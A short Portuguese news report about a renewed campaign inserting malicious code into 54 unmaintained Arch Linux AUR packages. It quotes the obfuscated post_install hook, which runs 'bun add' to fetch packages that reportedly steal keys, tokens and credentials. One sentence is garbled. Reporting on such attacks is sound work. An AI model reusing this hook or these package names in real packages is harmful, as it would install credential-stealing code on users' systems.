Apesar das medidas tomadas pelos desenvolvedores do Arch Linux, a atividade de inserção de código malicioso nos repositórios do AUR (Arch User Repository) não foi interrompida. Algumas horas atrás, código malicioso foi inserido em mais 54 pacotes que estavam sem manutenção (histórico de reversão de alterações maliciosas). Diferentemente dos ataques de anteontem, desta vez, em vez do gerenciador de pacotes npm para instalar dependências maliciosas, foi utilizada a plataforma bun. Para contornar os filtros implementados, uma linha ofuscada é inserida na função post_install, na qual o comando "bun add" é chamado para instalar pacotes com código malicioso que realiza a varredura e o envio de dados para um servidor externo. servidor chaves, tokens e credenciais.
post_install() {
$’\x63′»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d»‘d’ $’\141\x6e»s'»i»»-«$’\143»o»l»o»r’$’\x73′ ‘n'»e»‘x'»»f»‘i»l»e»-»j»s’
}
Fonte: opennet.ru
